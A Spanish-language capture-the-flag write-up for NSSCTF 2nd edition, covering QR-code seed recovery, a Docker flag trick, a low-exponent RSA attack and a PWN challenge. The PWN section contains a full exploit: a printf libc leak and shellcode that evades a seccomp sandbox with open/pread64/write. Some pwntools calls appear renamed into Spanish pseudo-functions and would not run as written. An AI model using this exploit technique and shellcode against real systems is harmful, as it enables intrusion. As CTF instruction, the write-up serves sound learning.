Resolución de Desafíos NSSCTF 2ª Edición

Resolución de Desafíos NSSCTF 2ª Edición

MISC

gift_in_qrcode

import qrcode
from PIL import Image
from random import randrange, getrandbits, seed
import os
import base64

flag = os.getenv("FLAG")
if flag == None:
    flag = "flag{test}"

semilla_secreta = randrange(1, 1000)
seed(semilla_secreta)
datos_revelar = []
for i in range(20):
    datos_revelar.append(str(getrandbits(8)))
objetivo = getrandbits(8)
datos_revelar = ",".join(datos_revelar)

img_qrcode = qrcode.make(datos_revelar)
img_qrcode = img_qrcode.crop((35, 35, img_qrcode.size[0] - 35, img_qrcode.size[1] - 35))

offset, delta, rate = 50, 3, 5
img_qrcode = img_qrcode.resize(
    (int(img_qrcode.size[0] / rate), int(img_qrcode.size[1] / rate)), Image.LANCZOS
)
img_salida = Image.new("RGB", img_qrcode.size)
for y in range(img_qrcode.size[1]):
    for x in range(img_qrcode.size[0]):
        pixel_qrcode = img_qrcode.getpixel((x, y))
        if pixel_qrcode == 255:
            img_salida.putpixel(
                (x, y),
                (
                    randrange(offset, offset + delta),
                    randrange(offset, offset + delta),
                    randrange(offset, offset + delta),
                ),
            )
        else:
            img_salida.putpixel(
                (x, y),
                (
                    randrange(offset - delta, offset),
                    randrange(offset - delta, offset),
                    randrange(offset - delta, offset),
                ),
            )

img_salida.save("qrcode.png")
with open("qrcode.png", "rb") as f:
    datos = f.read()
print("Mi regalo:")
print(base64.b64encode(datos).decode(), "\n")

print(objetivo)

respuesta = input("¿Cuál es tu respuesta:")
if respuesta == str(objetivo):
    print(flag)
else:
    print("¡No, no, no!")

El código proporcionado genera un código QR con 20 números aleatorios, luego modifica los colores y guarda la imagen. Al analizar el código, simplemente necesitamos ingresar el valor de objetivo que se imprime para obtener la flag.

Magic Docker

El desafío indica ejecutar el comando docker run randark/nssctf-round15-magic-docker.

Al ejecutar, solicita ingresar un "secreto". Revisando los archivos del contenedor, encontramos el archivo main.py en la carpeta app:

import click
import random
import sys
import os
from time import sleep

@click.command()
@click.option('--secret',help='default=none,between 0 and 100',type=int)
def func(secret):
    if str(secret)==str(answer):
        print("¡Felicitaciones!")
        print("¿Pero dónde está tu flag? (=‵ω′=)")
    else:
        print("¡No! ¡No sabes nada de docker!")
        print("¡Cómo te atreves!")

BANNER="""
[ASCII Art del desafío]
"""

if __name__ == "__main__":
    os.system("rm -f /flag")
    print(BANNER)
    random.seed("NSSCTF 2nd")
    answer=random.randint(0,100)
    if len(sys.argv)<2:
        print("¡Necesitas darme el secreto!")
    else:
        func()

El problema es que después de ejecutar main.py según las instrucciones, el contenedor elimina el archivo flag. Por lo tanto, debemos personalizar el comando de inicio del docker para ejecutar directamente cat /flag.

gift_in_qrcode(revenge)

Se proporcinoa un enlace que devuelve una cadena codificada en Base64.

Primero, escribimos un script para decodificar Base64 y guardar como PNG:

import base64

# Pegar la cadena codificada en Base64 aquí
cadena_base64 = "tu_cadena_base64_aqui"

# Decodificar la cadena Base64
datos_decodificados = base64.b64decode(cadena_base64)

# Guardar los datos decodificados como archivo PNG
with open("imagen.png", "wb") as f:
    f.write(datos_decodificados)

Al escanear el código QR, obtenemos 20 números aleatorios. Para obtener la flag, necesitamos calcular la semilla aleatoria y calcular el siguiente número aleatorio:

from random import randrange, getrandbits, seed

def encontrar_semilla():
    for i in range(1, 1000):
        semilla = i
        seed(semilla)
        valores_esperados = [97,45,232,198,115,215,226,198,32,189,8,210,84,11,150,134,221,207,167,176]
        datos_generados = []
        for j in range(20):
            datos_generados.append(getrandbits(8))
        if datos_generados == valores_esperados:
            resultado = getrandbits(8)
            return resultado
    return False

print(encontrar_semilla())

Después, se puede usar brute force con pwntools:

from pwn import *

contador = 0
while True:
    conexion = remote("node5.anna.nssctf.cn", 28380)
    conexion.recvline().decode()
    conexion.recvline().decode()
    conexion.recv().decode()

    conexion.sendline(str('110').encode())

    contador += 1
    print('contador:', contador)

    salida = conexion.recvline().decode()
    if 'No no no!' not in salida:
        print(salida)
        break

Crypto

EzRSA

Se descubre que e = 3, lo que indica un ataque de exponente bajo. El script de solución:

import binascii
import gmpy2

e = 3
# Leer n y texto cifrado
n = 115383855234466224643769657979808398804254899116842846340552518876890834212233960206021018541117724144757264778086129841154749234706140951832603640953383528482125663673926452745186670807057426128028379664506531814550204605131476026038420737951652389070818761739123318769460392218629003518050621137961009397857

c = 5329266956476837379347536739209778690886367516092584944314921220156032648621405214333809779485753073093853063734538746101929825083615077

i = 0
while 1:
    resultado = gmpy2.iroot(c + i * n, 3)
    if resultado[1] == True:
        mensaje = resultado[0]
        print(binascii.unhexlify(hex(mensaje)[2:].strip("L")))
        break
    print("i = " + str(i))
    i = i + 1

Flag: NSSCTF

FunnyEncrypt

Se intentó analizar la frecuencia de caracteres, pero no coincidía. Finalmente, basándose en el texto "nssctf" conocido y el texto cifrado, se fue encontrando la correspondencia entre caracteres y letras mediante comparación gradual.

PWN

happy

La función principal primero evade el proof, luego hace fork de un proceso hijo. En el proceso padre, se ejecuta shellcode con restricciones de sandbox.

Durante la depuración, se puede quedar atascado; se necesita usar set follow-fork-mode parent para permanecer en el proceso padre.

Primero, analicemos la función proof:

Para que v4 = v3, necesitamos ver si printf puede filtrar información y luego calcular la dirección de puts.

En la depuración, se descubre que printf puede imprimir datos del stack. Elegimos filtrar la dirección libc de _IO_2_1_stderr_.

Calculamos la dirección real de puts para evadir la verificación de proof.

Es importante prestar atención a las caarcterísticas de la función scanf, especialmente respecto a \n, los signos +/- y cómo maneja el input. Esto puede ahorrar mucho tiempo de depuración.

Referencia: https://blog.csdn.net/qq_54218833/article/details/121308367

Ahora escribimos el shellcode:

__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(2147418112LL);
  seccomp_rule_add(v1, 0LL, 0LL, 0LL);
  seccomp_rule_add(v1, 0LL, 42LL, 0LL);
  seccomp_rule_add(v1, 0LL, 57LL, 0LL);
  seccomp_rule_add(v1, 0LL, 322LL, 0LL);
  return seccomp_load(v1);
}

Se puede observar que se prohíben las llamadas a read, connect y execve. Usamos open, pread64 y write para evadir esto.

Exploit completo:

from pwn import *

configurar_contexto()
proceso('./pwn')

depurar('b *0x401563')

ejecutar('./pwn')
cargar_libc('./libc.so.6')

puts_got = got('puts')
stderr = libcsym('_IO_2_1_stderr_')
puts = libcsym('puts')

enviar_datos(b'konw', b'16')

for i in range(0, 16):
    enviar_datos(b'+')

recibir_hasta(b'0')
stderr_addr = int(recibir(15))
calcular_offset(stderr_addr)

libc_base = stderr_addr - stderr

puts_addr = libc_base + puts
print(puts_addr)

enviar_datos(b'try', str(puts_addr))

bss = 0x4040A0
shellcode = '''
nop
nop
push 0x67616c66
mov rdi, rsp
xor rdx, rdx
xor rsi, rsi
push 0x2
pop rax
syscall
'''
shellcode += '''
push 0x11
pop rax
push 0x4041A0
pop rsi
push 0x3
pop rdi
push 0x64
pop rdx
push 0x0
pop r10
syscall
'''
shellcode += shellcraft.write(1, bss + 0x100, 100)

shellcode = asm(shellcode)

print(shellcode)
print(len(shellcode))

enviar_datos(shellcode)

interactuar()

Publicado el 6-11 23:04